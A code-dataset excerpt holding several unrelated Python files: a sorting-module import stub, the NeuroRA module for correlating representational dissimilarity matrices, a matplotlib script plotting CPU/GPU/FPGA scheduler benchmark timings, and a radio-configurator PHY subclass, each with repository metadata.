] | 13 | 2017-07-02T03:16:46.000Z | 2021-07-05T14:53:56.000Z | #!/usr/bin/env python3
"""
pythonds3.sorting import statement
"""
from pythonds3.sorting.sorting_algorithms import bubble_sort
from pythonds3.sorting.sorting_algorithms import select_sort
from pythonds3.sorting.sorting_algorithms import insert_sort
from pythonds3.sorting.sorting_algorithms import shell_sort
from pythonds3.sorting.sorting_algorithms import merge_sort
from pythonds3.sorting.sorting_algorithms import quick_sort
from pythonds3.sorting.sorting_algorithms import heap_sort
| 40.666667 | 60 | 0.875 | 64 | 488 | 6.453125 | 0.28125 | 0.309927 | 0.338983 | 0.457627 | 0.786925 | 0.786925 | 0.682809 | 0 | 0 | 0 | 0 | 0.019868 | 0.071721 | 488 | 11 | 61 | 44.363636 | 0.891832 | 0.114754 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
65afdab3bac6baad05d6961c1fb9318616a61f95 | 15,633 | py | Python | neurora/rdm_corr.py | ZitongLu1996/NeuroRA | 4e72f5b37ff308a4a068107b35f7555df6b7df0d | [
"MIT"
] | 110 | 2019-04-30T03:52:48.000Z | 2022-03-19T08:23:38.000Z | neurora/rdm_corr.py | ZitongLu1996/NeuroRA | 4e72f5b37ff308a4a068107b35f7555df6b7df0d | [
"MIT"
] | 2 | 2020-07-23T14:31:30.000Z | 2022-01-14T08:30:00.000Z | neurora/rdm_corr.py | ZitongLu1996/NeuroRA | 4e72f5b37ff308a4a068107b35f7555df6b7df0d | [
"MIT"
] | 20 | 2020-03-02T11:58:30.000Z | 2021-12-31T08:29:53.000Z | # -*- coding: utf-8 -*-
' a module for calculating the Similarity/Correlation Coefficient between two RDMs '
__author__ = 'Zitong Lu'
import numpy as np
from scipy.stats import spearmanr
from scipy.stats import pearsonr
from scipy.stats import kendalltau
from neurora.stuff import permutation_corr
' a function for calculating the Spearman correlation coefficient between two RDMs '
def rdm_correlation_spearman(RDM1, RDM2, rescale=False, permutation=False, iter=1000):
"""
Calculate the Spearman Correlation between two RDMs
Parameters
----------
RDM1 : array [ncons, ncons]
The RDM 1.
The shape of RDM1 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
RDM2 : array [ncons, ncons].
The RDM 2.
The shape of RDM2 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
rescale : bool True or False. Default is False.
Rescale the values in RDM or not.
Here, the maximum-minimum method is used to rescale the values except for the values on the diagonal.
permutation : bool True or False. Default is False.
Conduct permutation test or not.
iter : int. Default is 1000.
The times for iteration.
Returns
-------
corr : array [r, p].
The Spearman Correlation result.
The shape of corr is [2], including a r-value and a p-value.
"""
if len(np.shape(RDM1)) != 2 or len(np.shape(RDM2)) != 2 or np.shape(RDM1)[0] != np.shape(RDM1)[1] or \
np.shape(RDM2)[0] != np.shape(RDM2)[1]:
print("\nThe shapes of two RDMs should be [ncons, ncons]!\n")
return "Invalid input!"
# get number of conditions
cons = np.shape(RDM1)[0]
# calculate the number of value above the diagonal in RDM
n = int(cons*(cons-1)/2)
if rescale == True:
# flatten the RDM1
vrdm = np.reshape(RDM1, [cons*cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM1[i, j] = float((RDM1[i, j] - minvalue) / (maxvalue - minvalue))
# flatten the RDM2
vrdm = np.reshape(RDM2, [cons * cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM2[i, j] = float((RDM2[i, j] - minvalue) / (maxvalue - minvalue))
# initialize two vectors to store the values above the diagnal of two RDMs
v1 = np.zeros([n], dtype=np.float64)
v2 = np.zeros([n], dtype=np.float64)
# assignment
nn = 0
for i in range(cons-1):
for j in range(cons-1-i):
v1[nn] = RDM1[i, i+j+1]
v2[nn] = RDM2[i, i+j+1]
nn = nn + 1
# calculate the Spearman Correlation
rp = np.array(spearmanr(v1, v2))
if permutation == True:
rp[1] = permutation_corr(v1, v2, method="spearman", iter=iter)
return rp
' a function for calculating the Pearson correlation coefficient between two RDMs '
def rdm_correlation_pearson(RDM1, RDM2, rescale=False, permutation=False, iter=1000):
"""
Calculate the Pearson Correlation between two RDMs
Parameters
----------
RDM1 : array [ncons, ncons]
The RDM 1.
The shape of RDM1 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
RDM2 : array [ncons, ncons].
The RDM 2.
The shape of RDM2 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
rescale : bool True or False. Default is False.
Rescale the values in RDM or not.
Here, the maximum-minimum method is used to rescale the values except for the values on the diagonal.
permutation : bool True or False. Default is False.
Conduct permutation test or not.
iter : int. Default is 1000.
The times for iteration.
Returns
-------
corr : array [r, p].
The Pearson Correlation result.
The shape of corr is [2], including a r-value and a p-value.
"""
if len(np.shape(RDM1)) != 2 or len(np.shape(RDM2)) != 2 or np.shape(RDM1)[0] != np.shape(RDM1)[1] or \
np.shape(RDM2)[0] != np.shape(RDM2)[1]:
print("\nThe shapes of two RDMs should be [ncons, ncons]!\n")
return "Invalid input!"
# get number of conditions
cons = np.shape(RDM1)[0]
# calculate the number of value above the diagonal in RDM
n = int(cons*(cons-1)/2)
if rescale == True:
# flatten the RDM1
vrdm = np.reshape(RDM1, [cons*cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM1[i, j] = float((RDM1[i, j] - minvalue) / (maxvalue - minvalue))
# flatten the RDM2
vrdm = np.reshape(RDM2, [cons * cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM2[i, j] = float((RDM2[i, j] - minvalue) / (maxvalue - minvalue))
# initialize two vectors to store the values above the diagnal of two RDMs
v1 = np.zeros([n], dtype=np.float64)
v2 = np.zeros([n], dtype=np.float64)
# assignment
nn = 0
for i in range(cons - 1):
for j in range(cons - 1 - i):
v1[nn] = RDM1[i, i + j + 1]
v2[nn] = RDM2[i, i + j + 1]
nn = nn + 1
# calculate the Spearman Correlation
rp = np.array(pearsonr(v1, v2))
if permutation == True:
rp[1] = permutation_corr(v1, v2, method="pearson", iter=iter)
return rp
' a function for calculating the Kendalls tau correlation coefficient between two RDMs '
def rdm_correlation_kendall(RDM1, RDM2, rescale=False, permutation=False, iter=1000):
"""
Calculate the Kendalls tau Correlation between two RDMs
Parameters
----------
RDM1 : array [ncons, ncons]
The RDM 1.
The shape of RDM1 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
RDM2 : array [ncons, ncons].
The RDM 2.
The shape of RDM2 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
rescale : bool True or False. Default is False.
Rescale the values in RDM or not.
Here, the maximum-minimum method is used to rescale the values except for the values on the diagonal.
permutation : bool True or False. Default is False.
Conduct permutation test or not.
iter : int. Default is 5000.
The times for iteration.
Returns
-------
corr : array [r, p].
The Kendalls tau Correlation result.
The shape of corr is [2], including a r-value and a p-value.
"""
if len(np.shape(RDM1)) != 2 or len(np.shape(RDM2)) != 2 or np.shape(RDM1)[0] != np.shape(RDM1)[1] or \
np.shape(RDM2)[0] != np.shape(RDM2)[1]:
print("\nThe shapes of two RDMs should be [ncons, ncons]!\n")
return "Invalid input!"
# get number of conditions
cons = np.shape(RDM1)[0]
# calculate the number of value above the diagonal in RDM
n = int(cons*(cons-1)/2)
if rescale == True:
# flatten the RDM1
vrdm = np.reshape(RDM1, [cons*cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM1[i, j] = float((RDM1[i, j] - minvalue) / (maxvalue - minvalue))
# flatten the RDM2
vrdm = np.reshape(RDM2, [cons * cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM2[i, j] = float((RDM2[i, j] - minvalue) / (maxvalue - minvalue))
# initialize two vectors to store the values above the diagnal of two RDMs
v1 = np.zeros([n], dtype=np.float64)
v2 = np.zeros([n], dtype=np.float64)
# assignment
nn = 0
for i in range(cons - 1):
for j in range(cons - 1 - i):
v1[nn] = RDM1[i, i + j + 1]
v2[nn] = RDM2[i, i + j + 1]
nn = nn + 1
# calculate the Kendalltau Correlation
rp = np.array(kendalltau(v1, v2))
if permutation == True:
rp[1] = permutation_corr(v1, v2, method="kendalltau", iter=iter)
return rp
' a function for calculating the Cosine Similarity between two RDMs '
def rdm_similarity(RDM1, RDM2, rescale=False):
"""
Calculate the Cosine Similarity between two RDMs
Parameters
----------
RDM1 : array [ncons, ncons]
The RDM 1.
The shape of RDM1 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
RDM2 : array [ncons, ncons].
The RDM 2.
The shape of RDM2 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
rescale : bool True or False. Default is False.
Rescale the values in RDM or not.
Here, the maximum-minimum method is used to rescale the values except for the values on the diagonal.
Returns
-------
similarity : float.
The Cosine Similarity result.
"""
if len(np.shape(RDM1)) != 2 or len(np.shape(RDM2)) != 2 or np.shape(RDM1)[0] != np.shape(RDM1)[1] or \
np.shape(RDM2)[0] != np.shape(RDM2)[1]:
print("\nThe shapes of two RDMs should be [ncons, ncons]!\n")
return "Invalid input!"
# get number of conditions
cons = np.shape(RDM1)[0]
# calculate the number of value above the diagonal in RDM
n = int(cons*(cons-1)/2)
if rescale == True:
# flatten the RDM1
vrdm = np.reshape(RDM1, [cons*cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM1[i, j] = float((RDM1[i, j] - minvalue) / (maxvalue - minvalue))
# flatten the RDM2
vrdm = np.reshape(RDM2, [cons * cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM2[i, j] = float((RDM2[i, j] - minvalue) / (maxvalue - minvalue))
# initialize two vectors to store the values above the diagnal of two RDMs
v1 = np.zeros([n], dtype=np.float64)
v2 = np.zeros([n], dtype=np.float64)
# assignment
nn = 0
for i in range(cons - 1):
for j in range(cons - 1 - i):
v1[nn] = RDM1[i, i + j + 1]
v2[nn] = RDM2[i, i + j + 1]
nn = nn + 1
# calculate the Cosine Similarity
V1 = np.mat(v1)
V2 = np.mat(v2)
num = float(V1 * V2.T)
denom = np.linalg.norm(V1) * np.linalg.norm(V2)
cos = num / denom
similarity = 0.5 + 0.5 * cos
return similarity
' a fuction for calculating the Euclidean Distance between two RDMs '
def rdm_distance(RDM1, RDM2, rescale=False):
"""
Calculate the Euclidean Distance between two RDMs
Parameters
----------
RDM1 : array [ncons, ncons]
The RDM 1.
The shape of RDM1 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
RDM2 : array [ncons, ncons].
The RDM 2.
The shape of RDM2 must be [n_cons, n_cons].
n_cons represent the number of conidtions.
rescale : bool True or False. Default is False.
Rescale the values in RDM or not.
Here, the maximum-minimum method is used to rescale the values except for the values on the diagonal.
Returns
-------
dist : float.
The Euclidean Distance result.
"""
if len(np.shape(RDM1)) != 2 or len(np.shape(RDM2)) != 2 or np.shape(RDM1)[0] != np.shape(RDM1)[1] or np.shape(RDM2)[0] != np.shape(RDM2)[1]:
return "Invalid input!"
# get number of conditions
cons = np.shape(RDM1)[0]
# calculate the number of value above the diagonal in RDM
n = int(cons*(cons-1)/2)
if rescale == True:
# flatten the RDM1
vrdm = np.reshape(RDM1, [cons*cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM1[i, j] = float((RDM1[i, j] - minvalue) / (maxvalue - minvalue))
# flatten the RDM2
vrdm = np.reshape(RDM2, [cons * cons])
# array -> set -> list
svrdm = set(vrdm)
lvrdm = list(svrdm)
lvrdm.sort()
# get max & min
maxvalue = lvrdm[-1]
minvalue = lvrdm[1]
# rescale
if maxvalue != minvalue:
for i in range(cons):
for j in range(cons):
# not on the diagnal
if i != j:
RDM2[i, j] = float((RDM2[i, j] - minvalue) / (maxvalue - minvalue))
# initialize two vectors to store the values above the diagnal of two RDMs
v1 = np.zeros([n], dtype=np.float64)
v2 = np.zeros([n], dtype=np.float64)
# assignment
nn = 0
for i in range(cons - 1):
for j in range(cons - 1 - i):
v1[nn] = RDM1[i, i + j + 1]
v2[nn] = RDM2[i, i + j + 1]
nn = nn + 1
# calculate the Euclidean Distance
dist = np.linalg.norm(v1 - v2)
return dist
| 28.423636 | 144 | 0.547112 | 2,114 | 15,633 | 4.024125 | 0.068117 | 0.009404 | 0.038792 | 0.02351 | 0.922769 | 0.914071 | 0.895145 | 0.895145 | 0.876455 | 0.861643 | 0 | 0.030897 | 0.343696 | 15,633 | 549 | 145 | 28.47541 | 0.798246 | 0.358345 | 0 | 0.850679 | 0 | 0 | 0.081251 | 0.002301 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022624 | false | 0 | 0.022624 | 0 | 0.090498 | 0.0181 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
65b65f5a709385d52c3d83068ace083b28929ce6 | 13,686 | py | Python | F_CMMSE/CMMSE_results_ppt.py | angelicadavila/UNIZAR_PHD | 532a87467ceb49d3c3851bb23e26003bfc1888d3 | [
"MIT"
] | null | null | null | F_CMMSE/CMMSE_results_ppt.py | angelicadavila/UNIZAR_PHD | 532a87467ceb49d3c3851bb23e26003bfc1888d3 | [
"MIT"
] | null | null | null | F_CMMSE/CMMSE_results_ppt.py | angelicadavila/UNIZAR_PHD | 532a87467ceb49d3c3851bb23e26003bfc1888d3 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
##############################################################################
##############################################################################
import argparse
import matplotlib
import os
import numpy as np
import os.path as op
from itertools import izip_longest, cycle, islice
matplotlib.use('PDF')
from cycler import cycler
#from sklearn import datasets
import matplotlib.pyplot as plt
from matplotlib.backends.backend_pdf import PdfPages
from matplotlib.ticker import ScalarFormatter
def carga_fichero(file_name, delim, header, indice, columna):
salida=list()
datos=np.genfromtxt(file_name, skip_header=header,
comments="us.")
datos= datos[:,1]
# new_index, new_column = 0, 1
# for i in np.unique(datos[:,new_index]):
# mediana=np.median(datos[datos[:,new_index] == i, new_column])
# salida.append([i, mediana])
return datos
##############################################################################
# Main script
#############################################################################
################################################
#Configuration variables
################################################
titlefs = 20
ylabelfs = 20
xlabelfs = 20
xticksfs = 18
yticksfs = 18
legendfs = 16
linew = 3
markers = 12
fig_width = 8
fig_height = 6
w_bar=0.8
colorcycle = ['#a1dab4', '#41b6c4', '#2c7fb8', '#253494', '#4f345a', '#8fa998' ]
def main():
os.chdir("./..")
parser = argparse.ArgumentParser(description='Plot scheduler data.')
parser.add_argument('fname', help='File prefix for reading the input data')
parser.add_argument('--dir', help='Directory containing the input data.')
########################################################
########################################################
########################################################
title_name=" "
figure_name="CMMSE_ALL.pdf"
fig, ax = plt.subplots(1,1,figsize=(12,4))
#save best device
best=0;
width=0.5
#number of devices
n_dev=3
#number of algorithm
n_alg=3
#number of benchs
n_bars=4
x=np.array ([1,n_dev+n_alg+3])
print x
st=1000000#scaling time in seconds
bar_cycle = (cycler('hatch', ['///', '--', '...','\///', 'xxx', '\\\\']) * cycler('color', 'w')*cycler('zorder', [10]))
styles = bar_cycle()
########################################################
########################################################
os.chdir("./test_matrixmult/")
file_test='statict_1.txt'
dato_cpu=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_cpu=np.average(dato_cpu)/st
std_cpu=np.std(dato_cpu)/st
print ("CPU ",m_cpu)
best=m_cpu
worst=m_cpu
file_test='statict_2.txt'
dato_gpu=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_gpu=np.average(dato_gpu)/st
std_gpu=np.std(dato_gpu)/st
print ("GPU ",m_gpu)
if m_gpu < best:
best=m_gpu
if m_gpu > worst:
worst=m_gpu
file_test='statict_4.txt'
dato_fpga=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_fpga=np.average(dato_fpga)/st
std_fpga=np.std(dato_fpga)/st
print ("FPGA ",m_fpga)
if m_fpga < best:
best=m_fpga
if m_fpga > worst:
worst=m_fpga
file_test='statict_7.txt'
dato_st=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_st=np.average(dato_st)/st
std_st=np.std(dato_st)/st
if m_st > worst:
worst=m_st
print ("static 7 ",m_st)
print ("speed up static 7 ",best/m_st)
file_test='dynamict_7.txt'
dato_dy=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_dy=np.average(dato_dy)/st
std_dy=np.std(dato_dy)/st
if m_dy > worst:
worst=m_dy
print ("dynamic 7 ",m_dy)
print ("speedup dynamic 7 ",best/m_dy)
file_test='hguidedt_7.txt'
dato_hg=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_hg=np.average(dato_hg)/st
std_hg=np.std(dato_hg)/st
if m_dy > worst:
worst=m_dy
print ("hguided 7 ",m_hg)
print ("speedup hguided 7 ",best/m_hg)
index=0
print best
ax.bar(index,m_cpu/worst,yerr=std_cpu/worst, color='steelblue')
index=index+1
ax.bar(index,m_gpu/worst,yerr=std_gpu/worst, color='orange')
index=index+1
ax.bar(index,m_fpga/worst,yerr=std_fpga/worst,color='darkseagreen')
index=index+1
ax.bar(index,m_st/worst,yerr=std_st/worst, color='lightslategrey')
index=index+1
ax.bar(index,m_dy/worst,yerr=std_dy/worst, color='indianred')
index=index+1
ax.bar(index,m_hg/worst,yerr=std_hg/worst, color='rosybrown')
index=index+4
os.chdir("./..")
########################################################
########################################################
os.chdir("./test_mersenne")
file_test='statict_1.txt'
dato_cpu=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_cpu=np.average(dato_cpu)/st
std_cpu=np.std(dato_cpu)/st
print ("CPU ",m_cpu)
best=m_cpu
worst=m_cpu
file_test='statict_2.txt'
dato_gpu=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_gpu=np.average(dato_gpu)/st
std_gpu=np.std(dato_gpu)/st
print ("GPU ",m_gpu)
if m_gpu < best:
best=m_gpu
if m_gpu > worst:
worst=m_gpu
file_test='statict_4.txt'
dato_fpga=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_fpga=np.average(dato_fpga)/st
std_fpga=np.std(dato_fpga)/st
print ("FPGA ",m_fpga)
if m_fpga < best:
best=m_fpga
if m_fpga > worst:
worst=m_fpga
file_test='statict_7.txt'
dato_st=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_st=np.average(dato_st)/st
std_st=np.std(dato_st)/st
if m_st > worst:
worst=m_st
print ("static 7 ",m_st)
print ("speed up static 7 ",best/m_st)
file_test='dynamict_7.txt'
dato_dy=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_dy=np.average(dato_dy)/st
std_dy=np.std(dato_dy)/st
if m_dy > worst:
worst=m_dy
print ("dynamic 7 ",m_dy)
print ("speedup dynamic 7 ",best/m_dy)
file_test='hguidedt_7.txt'
dato_hg=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_hg=np.average(dato_hg)/st
std_hg=np.std(dato_hg)/st
if m_dy > worst:
worst=m_dy
print ("hguided 7 ",m_hg)
print ("speedup hguided 7 ",best/m_hg)
print best
ax.bar(index,m_cpu/worst,yerr=std_cpu/worst, color='steelblue')
index=index+1
ax.bar(index,m_gpu/worst,yerr=std_gpu/worst, color='orange')
index=index+1
ax.bar(index,m_fpga/worst,yerr=std_fpga/worst, color='darkseagreen')
index=index+1
ax.bar(index,m_st/worst,yerr=std_st/worst, color='lightslategrey')
index=index+1
ax.bar(index,m_dy/worst,yerr=std_dy/worst, color='indianred' )
index=index+1
ax.bar(index,m_hg/worst,yerr=std_hg/worst, color='rosybrown' )
index=index+4
os.chdir("./..")
########################################################
########################################################
os.chdir("./test_watermark")
file_test='statict_1.txt'
dato_cpu=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_cpu=np.average(dato_cpu)/st
std_cpu=np.std(dato_cpu)/st
print ("CPU ",m_cpu)
best=m_cpu
worst=m_cpu
file_test='statict_2.txt'
dato_gpu=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_gpu=np.average(dato_gpu)/st
std_gpu=np.std(dato_gpu)/st
print ("GPU ",m_gpu)
if m_gpu < best:
best=m_gpu
if m_gpu > worst:
worst=m_gpu
file_test='statict_4.txt'
dato_fpga=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_fpga=np.average(dato_fpga)/st
std_fpga=np.std(dato_fpga)/st
print ("FPGA ",m_fpga)
if m_fpga < best:
best=m_fpga
if m_fpga > worst:
worst=m_fpga
file_test='statict_7.txt'
dato_st=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_st=np.average(dato_st)/st
std_st=np.std(dato_st)/st
if m_st > worst:
worst=m_st
print ("static 7 ",m_st)
print ("speed up static 7 ",best/m_st)
file_test='dynamict_7.txt'
dato_dy=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_dy=np.average(dato_dy)/st
std_dy=np.std(dato_dy)/st
if m_dy > worst:
worst=m_dy
print ("dynamic 7 ",m_dy)
print ("speedup dynamic 7 ",best/m_dy)
file_test='hguidedt_7.txt'
dato_hg=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_hg=np.average(dato_hg)/st
std_hg=np.std(dato_hg)/st
if m_dy > worst:
worst=m_dy
print ("hguided 7 ",m_hg)
print ("speedup hguided 7 ",best/m_hg)
print best
rect2=ax.bar(index,m_cpu/worst,yerr=std_cpu/worst, color='steelblue')
index=index+1
rect2=ax.bar(index,m_gpu/worst,yerr=std_gpu/worst, color='orange')
index=index+1
rect2=ax.bar(index,m_fpga/worst,yerr=std_fpga/worst, color='darkseagreen')
index=index+1
rect2=ax.bar(index,m_st/worst,yerr=std_st/worst, color='lightslategrey')
index=index+1
rect2=ax.bar(index,m_dy/worst,yerr=std_dy/worst, color='indianred' )
index=index+1
rect2=ax.bar(index,m_hg/worst,yerr=std_hg/worst, color='rosybrown' )
index=index+4
os.chdir("./..")
########################################################
########################################################
os.chdir("./test_sobel")
file_test='statict_1.txt'
dato_cpu=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_cpu=np.average(dato_cpu)/st
std_cpu=np.std(dato_cpu)/st
print ("CPU ",m_cpu)
best=m_cpu
worst=m_cpu
file_test='statict_2.txt'
dato_gpu=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_gpu=np.average(dato_gpu)/st
std_gpu=np.std(dato_gpu)/st
print ("GPU ",m_gpu)
if m_gpu < best:
best=m_gpu
if m_gpu > worst:
worst=m_gpu
file_test='statict_4.txt'
dato_fpga=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_fpga=np.average(dato_fpga)/st
std_fpga=np.std(dato_fpga)/st
print ("FPGA ",m_fpga)
if m_fpga < best:
best=m_fpga
if m_fpga > worst:
worst=m_fpga
file_test='statict_7.txt'
dato_st=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_st=np.average(dato_st)/st
std_st=np.std(dato_st)/st
if m_st > worst:
worst=m_st
print ("static 7 ",m_st)
print ("speed up static 7 ",best/m_st)
file_test='dynamict_7.txt'
dato_dy=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_dy=np.average(dato_dy)/st
std_dy=np.std(dato_dy)/st
if m_dy > worst:
worst=m_dy
print ("dynamic 7 ",m_dy)
print ("speedup dynamic 7 ",best/m_dy)
file_test='hguidedt_7.txt'
dato_hg=carga_fichero(file_test,'executionKernel: ',0,1,0)
m_hg=np.average(dato_hg)/st
std_hg=np.std(dato_hg)/st
if m_dy > worst:
worst=m_dy
print ("hguided 7 ",m_hg)
print ("speedup hguided 7 ",best/m_hg)
print best
rect3=ax.bar(index,m_cpu/worst,yerr=std_cpu/worst, color='steelblue')
index=index+1
rect3=ax.bar(index,m_gpu/worst,yerr=std_gpu/worst, color='orange')
index=index+1
rect3=ax.bar(index,m_fpga/worst,yerr=std_fpga/worst,color='darkseagreen')
index=index+1
rect3=ax.bar(index,m_st/worst,yerr=std_st/worst, color='lightslategrey')
index=index+1
rect3=ax.bar(index,m_dy/worst,yerr=std_dy/worst, color='indianred' )
index=index+1
rect3=ax.bar(index,m_hg/worst,yerr=std_hg/worst, color='rosybrown' )
index=index+4
#text_labels= ('',' Matrix Multiplication','',' Mersenne Twister','',' Watermarking','','Sobel Filter','','','')
text_labels= ['Matrix Multiplication','Mersenne Twister','Watermarking','Sobel Filter']
y_pos = np.arange(0,35, step=9)
ax.set_xticks(y_pos+2.5)
text_legend= ('CPU','GPU','FPGA','Static','Dynamic','H-guided')
# plt.xticks(index,text_labels)
os.chdir("./..")
index_lb=np.arange(0,28)
print index_lb
ax.set_xticklabels(text_labels, rotation=0, fontsize=14)
minor_ticks = np.arange(0, 1, 0.02)
ax.set_yticks(minor_ticks, minor=True)
plt.grid(True,axis='y')
#ax.grid(which='minor', alpha=0.4,linestyle=':')
ax.grid(linestyle='--', linewidth=0.1,axis='y')
ax.set_ylabel('Normalized Time',fontsize=16)
ax.set_title(title_name,fontsize=14)
plt.legend(text_legend,fontsize=14,
loc='upper center', bbox_to_anchor=(0.5, -0.1),
ncol=n_alg+n_dev)
plt.savefig(figure_name,bbox_inches='tight')
plt.show()
if __name__ == "__main__":
main()
| 32.202353 | 162 | 0.557139 | 1,918 | 13,686 | 3.753389 | 0.119917 | 0.053341 | 0.055563 | 0.066676 | 0.761495 | 0.760106 | 0.760106 | 0.760106 | 0.75316 | 0.734269 | 0 | 0.024564 | 0.241488 | 13,686 | 424 | 163 | 32.278302 | 0.668914 | 0.041575 | 0 | 0.743827 | 0 | 0 | 0.146299 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.030864 | null | null | 0.12963 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
65be153519e188e8c6f0942695d354bbb7a3bed6 | 127 | py | Python | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/nixi/phys/Phys_Studio.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 82 | 2016-06-29T17:24:43.000Z | 2021-04-16T06:49:17.000Z | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/nixi/phys/Phys_Studio.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 6 | 2022-01-12T18:22:08.000Z | 2022-03-25T10:19:27.000Z | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/nixi/phys/Phys_Studio.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 56 | 2016-08-02T10:50:50.000Z | 2021-07-19T08:57:34.000Z | from pyradioconfig.parts.nerio.phys.Phys_Studio import PHYS_Studio_Nerio
class PHYS_Studio_Nixi(PHYS_Studio_Nerio):
pass
